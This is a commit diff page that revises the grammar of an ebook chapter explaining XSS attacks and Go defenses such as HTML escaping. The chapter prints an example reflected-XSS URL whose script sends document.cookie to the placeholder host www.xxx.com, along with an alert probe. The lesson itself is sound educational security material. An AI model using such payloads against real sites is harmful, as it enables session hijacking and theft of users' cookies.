lostecho/build-web-application-with-golang
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Fix sentence structure and grammar for 09.3.md [en]

Browse Source
This commit is contained in:
Anchor
2014-10-27 14:34:24 -07:00
parent 866d4112f7
commit 916d19ff80
1 changed files with 25 additions and 25 deletions
Download Patch File Download Diff File Expand all files Collapse all files

50
en/eBook/09.3.md
View File

@@ -1,59 +1,59 @@
# 9.3 XSS attacks
With the development of Internet technology, and now the Web application contains a lot of dynamic content to improve the user experience. The so-called dynamic content is that the application environment and the user according to the user request, the output of the corresponding content. Dynamic site will be called "cross-site scripting attacks" (Cross Site Scripting, security experts often be abbreviated as XSS) threats, while static site is completely unaffected by it.
With the development of Internet technology, web applications are often packed with dynamic content to improve user experience. Dynamic content is content that reacts and changes according to user requests and actions. Dynamic sites are often susceptible to cross-site scripting attacks (often referred to by security experts in its abbreviated form, XSS), something which static websites are completely unaffected by.
## What is XSS
XSS attacks: cross-site scripting attacks (Cross-Site Scripting), in order not to, and Cascading Style Sheets (Cascading Style Sheets, CSS) acronym confusion, it will be abbreviated as cross-site scripting attacks XSS. XSS is a common web security vulnerability that allows an attacker to provide malicious code into the pages used by other users. Unlike most attacks (generally involve the attacker and the victim), XSS involves three parties, namely the attacker, the client and Web applications. XSS attack goal is to steal a cookie stored on the client or other websites used to identify the identity of sensitive client information. Once you get to the legitimate user's information, the attacker can even impersonate interact with the site.
As mentioned, the term XSS is an acronym for Cross-Site Scripting, which is a type of attack common on the web. In order not to confuse it with another common web acronym, CSS (Cascading Style Sheets), we use an `X` instead of a `C` for the cross in cross-site scripting. XSS is a common web security vulnerability which allows attackers to inject malicious code into webpages. Unlike most types of attacks which generally involve only an attacker and a victim, XSS involves three parties: an attacker, a client and a web application. The goal of an XSS attack is to steal cookies stored on clients by web applications for the purpose of reading sensitive client information. Once an attacker gets ahold of this information, they can impersonate users and interact with websites without their knowledge or approval.
XSS can usually be divided into two categories: one is the storage type of XSS, mainly in allowing users to input data for use by other users who browse this page to view places, including comments, reviews, blog posts and various forms. Applications to query data from the database, the page is displayed, the attacker entered the relevant page malicious script data, users browse these pages may be attacked. This simple process can be described as: a malicious user input Html Web applications - > access to the database -> Web Programs - > user's browser. The other is reflective XSS, the main approach is to add the script code in the URL address of the request parameters, request parameters into the program directly to the output of the page, the user clicks a malicious link in a similar attack could be.
XSS attacks can usually be divided into two categories: one is a stored XSS attack. This form of attack arises when users are allowed to input data onto a public page, which after being saved by the server, will be returned (unescaped) to other users that happen to be browsing it. Some examples of the types of pages that are often affected include comments, reviews, blog posts and message boards. The process often goes like this: an attacker enters some html followed by a hidden `<script>` tag containing some malicious code, then hits save. The web application saves this to the database. When another user requests this page, the application queries this tainted data from the database and serves the page to the user. The attacker's script then executes arbitrary code on the client's computer.
The other type is a reflected XSS attack. The main idea is to embed a malicious script directly into the query parameters of a URL address. A server that immediately parses this data into a page of results and returns it (to the client who made the request) unsanitized, can unwittingly cause the client's computer to execute this code. An attacker can send a user a legitimate looking link to a trusted website with the encoded payload; clicking on this link can cause the user's browser to execute the malicious script.
XSS present the main means and ends as follows:
- Theft of cookie, access to sensitive information.
- The use of implantable Flash, through crossdomain permissions set to further obtain a higher authority, or the use of Java and other get similar operations.
- Use iframe, frame, XMLHttpRequest or the Flash, etc., to (the attacker) the identity of the user to perform some administrative actions, or perform some, such as: micro-Bo, add friends, send private messages and other routine operations, some time ago, Sina microblogging suffered once XSS.
- The use of a domain can be attacked by other characteristics of domain trust to request the identity of trusted sources do not allow some of the usual operations, such as an improper voting.
- In a great number of visits on the page XSS attack some small sites can achieve the effect of DDoS attacks
- Theft of cookies, access to sensitive information.
- The use of embedded Flash, through crossdomain permissions, can also be used by an attacker to obtain higher user priviledges. This also applies for other similar attack vectors such as Java and VBScript.
- The use of iframes, frames, XMLHttpRequests, etc., can allow an attacker to assume the identity of a user to perform administrative actions such as micro-blogging, adding friends, sending private messages, and other routine operations. A while ago, the Sina microblogging platform suffered from this type of XSS vulnerability.
- When many users visit a page affected by an XSS attack, the effect on some smaller sites can be comparable to that of a DDoS attack.
## XSS principle
## XSS principles
Web applications are not submitted the requested data to the user to make a full inspection filter that allows users to incorporate data submitted by HTML code (most notably">","<"), and the output of malicious code without escaping to third parties interpreted the user's browser, is leading causes of XSS vulnerabilities.
Web applications that return requested data to users without first inspecting and filtering it can allow malicious users to inject scripts (typically embedded inside HTML within <script> tags) onto other users' browsers. When this malicious code is rendered on a user's browser without first having been escaped from, the user's browser will interpret this code: this is the definition of an XSS attack, and this type of mistake is the leading cause of XSS vulnerabilities.
Next to reflective XSS XSS illustrate the process: There is now a website, according to the parameters outputs the user 's name, such as accessing url: `http://127.0.0.1/?name=astaxie`, it will output the following in the browser information:
Let's go through the process of a reflective XSS attack. Let's say there's a website that outputs a user's name according to the URL query parameters; access the following URL `http://127.0.0.1/?name=astaxie` will cause the server to output the following:
hello astaxie
If we pass this url: `http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`, then you will find out a browser pop-up box, which Help the site has been in existence XSS vulnerabilities. So how malicious users steal Cookie it?
And the like, as this url:
Let's say we pass the following parameter instead, accessing the same url: `http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`. If this causes the browser to produce an alert pop-up box, we can confirm that the site is vulnerable to XSS attacks. So how do malicious users steal cookies using the same type of attack?
Just like before, we have a URL:
`http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`
, so that you can put current cookie sent to the specified site: `www.xxx.com`. You might say, so have a look at the URL of the problem, how would someone clicks? Yes, this kind of URL will make people skeptical, but if you use a short URL service to shorten it, you could see it?, The attacker will shorten the url in some way after the spread, know the truth once the user clicks on this url, cookie data will be sent the appropriate pre-configured sites like this on the user's cookie information Theft, then you can use a tool like Websleuth to check whether the user's account to steal.
A more detailed analysis about XSS we can refer to this called" [ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" articles
By clicking on this URL, you'd be sending the current cookie to the specified site: `www.xxx.com`. You might be wondering, why would anybody click on such a strange looking URL in the first place? While it's true that this kind of URL will make most people skeptical, if an attacker were to use one of the many popular URL shortening services to obscure it, would you still be able to see it? Most attackers would obfuscate the URL in one way or another, and you'd only know the legitimacy of the link after clicking on it. However by this point, cookie data will have already been sent to the 3rd party website, compromising your sensitive information. You can use tools like Websleuth to audit the security of your web applications for these types of vulnerabilities.
For a more detailed analysis on an XSS attack, have a look at the article: "[ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)"
## How to prevent XSS
The answer is simple, and resolutely do not believe any user input, and filter out all the special characters in the input. This will eliminate the majority of XSS attacks.
The answer is simple: never trust user input, and always filter out all special characters in any input data you may receive. This will eliminate the majority of XSS attacks.
There are currently XSS defense following ways :
Use the following techniques to defend against XSS attacks:
- Filtering special characters
- Filter special characters
One way to avoid XSS mainly to the user-supplied content filtering, Go language provides the HTML filter function :
One way to avoid XSS is to filter user-supplied content. The Go language provides some HTML filtering functions in its `text/template` packge such as `HTMLEscapeString` and `JSEscapeString`, to name a few.
`text/template` package below `HTMLEscapeString`, `JSEscapeString` other functions
- Using HTTP headers specified type
- Specify the content type in your HTTP headers
`w.Header().Set("Content-Type","text/javascript")`
This allows the browser to parse javascript code, and will not be html output.
This allows client browsers to parse the response as javascript code (applying the neccessary filters) instead of rendering the content in an unspecified and potentially dangerous manner.
## Summary
XSS vulnerability is quite hazardous in the development of Web applications, it is important to remember to filter data, especially in the output to the client, which is now well-established means of preventing XSS.
Introducing XSS vulnerabilities is a very real hazard when developping web applications. It is important to remember to filter all data, especially before outputting it to clients; this is now a well-established means of preventing XSS.
## Links